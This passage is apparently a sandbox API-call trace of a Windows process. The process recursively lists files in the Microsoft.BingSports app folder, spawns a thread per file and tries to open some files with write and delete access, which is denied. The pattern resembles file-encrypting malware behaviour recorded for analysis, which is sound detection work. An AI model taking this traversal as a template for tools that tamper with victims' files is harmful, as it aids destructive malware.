	[0079.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476c860) returned 1

Thread:
	id = 681
	os_tid = 0x19d0

	[0079.087] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0079.087] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0079.087] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.087] GetLastError () returned 0x5
	[0079.088] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0079.088] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476c928) returned 1

Thread:
	id = 682
	os_tid = 0x19d4

	[0079.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x476fbf0
	[0079.089] wcscpy (in: _Dest=0x476fbf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0079.089] wcscat (in: _Dest=0x476fbf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\"
	[0079.089] wcscat (in: _Dest=0x476fbf0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0079.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.089] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d1b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.089] wcscmp (_String1=".", _String2=".") returned 0
	[0079.089] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d1b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.089] wcscmp (_String1="..", _String2=".") returned 1
	[0079.089] wcscmp (_String1="..", _String2="..") returned 0
	[0079.089] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c2c683a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0079.089] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0079.089] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0079.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4768b98
	[0079.089] wcscpy (in: _Dest=0x4768b98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0079.089] wcscat (in: _Dest=0x4768b98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\"
	[0079.089] wcscat (in: _Dest=0x4768b98, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0079.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4768b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a8
	[0079.090] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c2c683a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0079.090] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.090] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.090] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476fbf0) returned 1
	[0079.090] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769de8) returned 1

Thread:
	id = 683
	os_tid = 0x19d8

	[0079.091] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0079.092] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0079.092] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.092] GetLastError () returned 0x5
	[0079.092] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0079.092] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ca960) returned 1

Thread:
	id = 684
	os_tid = 0x19dc

	[0079.093] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2d7d3f8
	[0079.093] wcscpy (in: _Dest=0x2d7d3f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets"
	[0079.093] wcscat (in: _Dest=0x2d7d3f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\"
	[0079.093] wcscat (in: _Dest=0x2d7d3f8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\*"
	[0079.093] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.093] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d25c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.093] wcscmp (_String1=".", _String2=".") returned 0
	[0079.093] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d25c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.094] wcscmp (_String1="..", _String2=".") returned 1
	[0079.094] wcscmp (_String1="..", _String2="..") returned 0
	[0079.094] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d4131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 1
	[0079.094] wcscmp (_String1="AppTiles", _String2=".") returned 1
	[0079.094] wcscmp (_String1="AppTiles", _String2="..") returned 1
	[0079.094] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4770c58
	[0079.094] wcscpy (in: _Dest=0x4770c58, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets"
	[0079.094] wcscat (in: _Dest=0x4770c58, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\"
	[0079.094] wcscat (in: _Dest=0x4770c58, _Source="AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0079.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4770c58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ac
	[0079.095] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x120f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatsLogo.png", cAlternateFileName="")) returned 1
	[0079.095] wcscmp (_String1="StatsLogo.png", _String2=".") returned 1
	[0079.095] wcscmp (_String1="StatsLogo.png", _String2="..") returned 1
	[0079.095] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ea470
	[0079.095] wcscpy (in: _Dest=0x47ea470, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets"
	[0079.095] wcscat (in: _Dest=0x47ea470, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\"
	[0079.095] wcscat (in: _Dest=0x47ea470, _Source="StatsLogo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\StatsLogo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\StatsLogo.png"
	[0079.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b0
	[0079.095] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x120f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatsLogo.png", cAlternateFileName="")) returned 0
	[0079.095] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d3f8) returned 1
	[0079.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb0e8) returned 1

Thread:
	id = 685
	os_tid = 0x19e0

	[0079.107] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476fbf0
	[0079.107] wcscpy (in: _Dest=0x476fbf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration"
	[0079.107] wcscat (in: _Dest=0x476fbf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\"
	[0079.107] wcscat (in: _Dest=0x476fbf0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\*"
	[0079.107] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c41d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.107] wcscmp (_String1=".", _String2=".") returned 0
	[0079.107] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c41d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.107] wcscmp (_String1="..", _String2=".") returned 1
	[0079.107] wcscmp (_String1="..", _String2="..") returned 0
	[0079.107] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c3853b7, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x23c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="configuration.sqlite", cAlternateFileName="")) returned 1
	[0079.107] wcscmp (_String1="configuration.sqlite", _String2=".") returned 1
	[0079.107] wcscmp (_String1="configuration.sqlite", _String2="..") returned 1
	[0079.107] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47eada8
	[0079.107] wcscpy (in: _Dest=0x47eada8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration"
	[0079.108] wcscat (in: _Dest=0x47eada8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\"
	[0079.108] wcscat (in: _Dest=0x47eada8, _Source="configuration.sqlite" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite"
	[0079.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eada8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c0
	[0079.108] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c3853b7, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x23c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="configuration.sqlite", cAlternateFileName="")) returned 0
	[0079.108] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.108] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.108] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476fbf0) returned 1
	[0079.108] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ba50) returned 1

Thread:
	id = 686
	os_tid = 0x19e4

	[0079.109] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\marketconfiguration.xml")) returned 0x20
	[0079.111] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.111] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\marketconfiguration.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.111] GetLastError () returned 0x5
	[0079.111] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70218) returned 1

Thread:
	id = 687
	os_tid = 0x19e8

	[0079.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2d70068
	[0079.112] wcscpy (in: _Dest=0x2d70068, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0079.112] wcscat (in: _Dest=0x2d70068, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0079.112] wcscat (in: _Dest=0x2d70068, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\*"
	[0079.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c48a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.113] wcscmp (_String1=".", _String2=".") returned 0
	[0079.113] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c48a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.113] wcscmp (_String1="..", _String2=".") returned 1
	[0079.113] wcscmp (_String1="..", _String2="..") returned 0
	[0079.113] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c490576, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x62f, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstrap.html", cAlternateFileName="")) returned 1
	[0079.113] wcscmp (_String1="bootstrap.html", _String2=".") returned 1
	[0079.113] wcscmp (_String1="bootstrap.html", _String2="..") returned 1
	[0079.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47eb078
